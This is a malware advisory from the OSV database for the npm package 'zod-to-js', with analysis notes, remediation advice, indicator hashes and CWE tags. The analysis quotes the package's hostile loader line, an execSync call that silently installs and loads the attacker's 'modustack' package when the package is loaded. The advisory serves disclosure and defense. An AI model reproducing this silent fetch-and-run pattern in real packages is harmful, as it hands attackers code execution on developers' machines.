MAL-2026-4740

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/zod-to-js/MAL-2026-4740.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4740
Aliases
  • GHSA-8cm2-vv7w-4c27
Published
2026-05-19T19:53:59Z
Modified
2026-07-09T09:33:19.725537151Z
Summary
Malicious code in zod-to-js (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0)

The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry pino.js, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage https://getpino.io — a deceptive identity unrelated to its declared name. On require('zod-to-js'), the load chain reaches lib/writer.js, which attempts require('modustack') and, on failure, executes execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }) followed by require('../../modustack/pino.js'). The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the modustack name. The same file contains additional staging scaffolding — a String.fromCharCode-based string builder and a getMacAddress() helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.

Source: ghsa-malware (2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-05-19T20:03:47Z",
            "versions": [
                "13.4.4"
            ],
            "sha256": "2bfb2532dd278433565925cce7ad434ac98011e691890dfde8445b8462c7d6cc",
            "id": "IN-MAL-2026-003272",
            "source": "amazon-inspector",
            "import_time": "2026-05-26T05:50:19.988314163Z"
        },
        {
            "modified_time": "2026-05-19T19:53:59Z",
            "versions": [
                "13.4.3"
            ],
            "sha256": "370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0",
            "import_time": "2026-05-26T05:50:19.624500842Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-003269"
        },
        {
            "modified_time": "2026-05-29T22:05:12Z",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "sha256": "2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268",
            "import_time": "2026-05-29T22:44:05.992090116Z",
            "source": "ghsa-malware",
            "id": "GHSA-8cm2-vv7w-4c27"
        },
        {
            "modified_time": "2026-07-07T13:18:39Z",
            "versions": [
                "13.4.3"
            ],
            "sha256": "8624b76a3e154acfd2770b0538d65c8da1a622f06c5e6728dee71d7ea5106d00",
            "import_time": "2026-07-09T09:17:01.560474506Z",
            "source": "reversing-labs",
            "id": "RLMA-2026-05383"
        }
    ]
}
References
Credits

Affected packages

npm / zod-to-js

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

13.*
13.4.3
13.4.4

Database specific

indicators
{
    "evidence_files": [
        {
            "tlsh": "6f318bd78245a278f3b06aa10e5fa0d1b186e12521507dd83ffc84c367ab4e04ed4fda",
            "sha256": "243c41c0dade19323a4451aa206271e4bb84495e5a576d6ed69368b574245a96",
            "path": "lib/writer.js"
        },
        {
            "tlsh": "17016d25cd789d6314dc25814c394243a6609d575c18bd1973d7a32c0f4e4bf55fb16d",
            "sha256": "d22966c76f021928b5d34c652439fbd9f28ba60c3183ffd59dcdcf6aa21e1f4e",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "b6e38e8de345442ababf83f1dd4385105db0fdaa",
                "sha512_sri": "sha512-LpjjuetW7wyL+kD1VQUiipEIUZrltKExNFD3cBoYGAIL/Y1PX5izfJMJgGMPFHsOAVjIf+uU8stqv+YfOunWmw=="
            },
            "filename": "zod-to-js-13.4.4.tgz"
        }
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/zod-to-js/MAL-2026-4740.json"